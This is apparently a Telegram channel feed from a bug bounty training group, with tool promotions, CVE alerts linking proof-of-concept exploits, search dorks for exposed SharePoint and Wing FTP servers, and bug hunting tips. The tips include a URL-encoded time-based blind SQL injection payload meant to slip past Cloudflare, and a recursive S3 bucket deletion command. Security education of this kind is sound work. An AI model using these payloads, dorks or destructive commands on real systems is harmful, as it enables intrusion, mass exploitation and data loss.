▶️ It's LIVE!
📌SubWatch – your next favorite tool for automated VPS subdomain monitoring! 🔍
✅ Supported On VPS
✅ Runs every 6 hours
✅ Sends newly found subdomains directly to your Discord
✅ Includes .txt file + message alerts
✅ Perfect for bug bounty hunters & recon workflows
📽️ Watch the YouTube video & get started now:
👉 https://youtu.be/BkpSQKSTFUI
📥 Download & Readme on GitHub:
👉 https://github.com/Brut-Security/SubWatch
🔧 Powered by: subfinder, anew, jq, notify
Built with 💙 by Brut Security
❤️ Give it a try, share it with your team, and drop your reactions below!
📌SubWatch – your next favorite tool for automated VPS subdomain monitoring! 🔍
✅ Supported On VPS
✅ Runs every 6 hours
✅ Sends newly found subdomains directly to your Discord
✅ Includes .txt file + message alerts
✅ Perfect for bug bounty hunters & recon workflows
📽️ Watch the YouTube video & get started now:
👉 https://youtu.be/BkpSQKSTFUI
📥 Download & Readme on GitHub:
👉 https://github.com/Brut-Security/SubWatch
🔧 Powered by: subfinder, anew, jq, notify
Built with 💙 by Brut Security
❤️ Give it a try, share it with your team, and drop your reactions below!
YouTube
🚨 New Subdomain Monitoring Tool for Bug Bounty Hunters! | Brut Security
🛡️ Introducing SubWatch: Automated Subdomain Monitoring Script by Brut Security
Stay one step ahead in your recon game!
This tool continuously monitors your target domains for new subdomains using subfinder, stores historical data, and sends alerts directly…
Stay one step ahead in your recon game!
This tool continuously monitors your target domains for new subdomains using subfinder, stores historical data, and sends alerts directly…
❤15
🚨CVE-2025-5777 (CitrixBleed 2) - Critical memory leak vulnerability affecting Citrix NetScaler ADC and Gateway devices
🎯Severity: CRITICAL ⚠️
✅PoC: https://github.com/win3zz/CVE-2025-5777
🎯Severity: CRITICAL ⚠️
✅PoC: https://github.com/win3zz/CVE-2025-5777
❤3🔥3
CVE-2025-49704: Code Injection in Microsoft SharePoint, 8.8 rating❗️
The vulnerability allows an authenticated attacker to execute code over the network.
Search at Netlas.io:
👉 Link: https://nt.ls/1egrV👉 Dork: http.headers.microsoftsharepointteamservices:*
Vendor's advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704
The vulnerability allows an authenticated attacker to execute code over the network.
Search at Netlas.io:
👉 Link: https://nt.ls/1egrV👉 Dork: http.headers.microsoftsharepointteamservices:*
Vendor's advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704
❤4
🚨 Bug Bounty Tip: Takeover Vulnerable S3 Buckets in Under a Minute! ☁️
Want to identify exposed Amazon S3 buckets linked to a target? Here's a quick method:
🔍 Then check for public S3 buckets:
👉 If the bucket name isn’t obvious:
⚠️ Found a vulnerable bucket? Don’t delete anything!
✅ Always report responsibly. Never exploit — you're here to help, not harm.
⚡️ Happy Hunting!
Want to identify exposed Amazon S3 buckets linked to a target? Here's a quick method:
echo REDACTED.COM | cariddi | grep js | tee js_files | httpx -mc 200 | nuclei -tags aws,amazon
🔍 Then check for public S3 buckets:
aws s3 ls s3://REDACTEDCOM.s3.amazonaws.com
👉 If the bucket name isn’t obvious:
echo REDACTED.COM | cariddi -e -s -info
⚠️ Found a vulnerable bucket? Don’t delete anything!
# Do NOT run this. Just for awareness:
aws s3 rm s3://REDACTEDCOM.s3.amazonaws.com --recursive
✅ Always report responsibly. Never exploit — you're here to help, not harm.
⚡️ Happy Hunting!
❤11👍7🔥4🗿2
🛡️ Bug Bounty Tip: Cloudflare 403 Bypass for Time-Based Blind SQLi
When your payload gets blocked by Cloudflare (403), try obfuscation with URL encoding to sneak it past!
❌ Blocked Payload
✅ Bypass Payload
🔍 This obfuscation can help trigger Time-Based Blind SQLi even when WAF protection is in place.
✅Credit: @nav1n0x
When your payload gets blocked by Cloudflare (403), try obfuscation with URL encoding to sneak it past!
❌ Blocked Payload
(select(0)from(select(sleep(10)))v) → 403 Forbidden
✅ Bypass Payload
(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'%5C"%2B(select(0)from(select(sleep(6)))v)
🔍 This obfuscation can help trigger Time-Based Blind SQLi even when WAF protection is in place.
✅Credit: @nav1n0x
❤35👍5🗿4😁1
⚡SSTImap - Automatic SSTI detection tool with interactive interface
✅https://github.com/vladko312/SSTImap
✅https://github.com/vladko312/SSTImap
❤11👍3
Tired of switching tabs for OSINT and recon? Just join our Discord and type sudo help to unlock powerful tools in seconds!
✅ IP & Domain Lookup
✅ Email & Phone OSINT
✅ Subdomain Enumeration
✅ Reverse Image Search
✅ URL & Virus Scanners
✅ Temp Email, QR Tools, and more
🌟 You can create and play your own CTF in a minute , right inside Discord!
Try it out now — it’s fast, simple, and all in one chat.
🔗 https://discord.gg/u7uMFV833h
#ctf #bugbounty #osint #cybersecurity #discordtools #infosec
✅ IP & Domain Lookup
✅ Email & Phone OSINT
✅ Subdomain Enumeration
✅ Reverse Image Search
✅ URL & Virus Scanners
✅ Temp Email, QR Tools, and more
🌟 You can create and play your own CTF in a minute , right inside Discord!
Try it out now — it’s fast, simple, and all in one chat.
🔗 https://discord.gg/u7uMFV833h
#ctf #bugbounty #osint #cybersecurity #discordtools #infosec
1🫡8❤4
🚨A comprehensive bug bounty methodology compiled from extensive research, covering web application reconnaissance, checklists, and methods for identifying various bugs. This guide aims to help bug hunters improve their skills in finding, verifying, and responsibly reporting security vulnerabilities.
✅ Download: https://github.com/alihussainzada/BugHunterMethodology/
✅ Download: https://github.com/alihussainzada/BugHunterMethodology/
❤11👍4
⚡CloakQuest3r - Uncover the true IP address of websites safeguarded by Cloudflare & Others
✅https://github.com/spyboy-productions/CloakQuest3r
✅https://github.com/spyboy-productions/CloakQuest3r
❤22
This media is not supported in your browser
VIEW IN TELEGRAM
⚡Scanning github repos is a great way to find juicy information, secrets and credentials!
Trufflehog makes this easy.
With one scan you can find AWS keys, FTP creds, crypto keys and more!
✅Check this out - https://github.com/trufflesecurity/trufflehog
Trufflehog makes this easy.
With one scan you can find AWS keys, FTP creds, crypto keys and more!
✅Check this out - https://github.com/trufflesecurity/trufflehog
❤24🔥7👍2
🚨Multi-target unauthenticated RCE scanner for CVE-2025-34085 affecting WordPress Simple File List plugin. Uploads, renames, and triggers PHP webshells across large target sets.
✅https://github.com/ill-deed/CVE-2025-34085-Multi-target
✅https://github.com/ill-deed/CVE-2025-34085-Multi-target
👍6❤4
🚨 CVE-2025-47812: Wing FTP Server Remote Code Execution (RCE) vulnerability
🔥PoC : https://github.com/4m3rr0r/CVE-2025-47812-poc
👉Dorks:
HUNTER: http://product.name="Wing FTP Server"
🔥PoC : https://github.com/4m3rr0r/CVE-2025-47812-poc
👉Dorks:
HUNTER: http://product.name="Wing FTP Server"
🔥11❤4👍4
🚨 New Batch Starting – August 2025 🚨
Brut Practical Web Penetration Testing (bPWP)
We’re back with a fresh batch of our most in-demand training – Brut Practical Web Penetration Testing – starting this August!
🔍 Learn the art of Web Hacking with:
✅ 100% Practical Sessions
✅ Bug Bounty Approach
✅ Real-World Lab Scenarios
✅ Lifetime Community Access
✅ Beginner-Friendly with Advanced Techniques
💻 Ideal for aspiring bug bounty hunters, cybersecurity students, and VAPT professionals.
📆 Limited Seats – Enroll Now
🌐 https://brutsec.com/bPWP
📩 For Queries:
Telegram: @wtf_brut
WhatsApp: https://wa.link/brutsecurity |
Email: info@brutsec.com
Brut Practical Web Penetration Testing (bPWP)
We’re back with a fresh batch of our most in-demand training – Brut Practical Web Penetration Testing – starting this August!
🔍 Learn the art of Web Hacking with:
✅ 100% Practical Sessions
✅ Bug Bounty Approach
✅ Real-World Lab Scenarios
✅ Lifetime Community Access
✅ Beginner-Friendly with Advanced Techniques
💻 Ideal for aspiring bug bounty hunters, cybersecurity students, and VAPT professionals.
📆 Limited Seats – Enroll Now
🌐 https://brutsec.com/bPWP
📩 For Queries:
Telegram: @wtf_brut
WhatsApp: https://wa.link/brutsecurity |
+918945971332Email: info@brutsec.com
❤9😢2👍1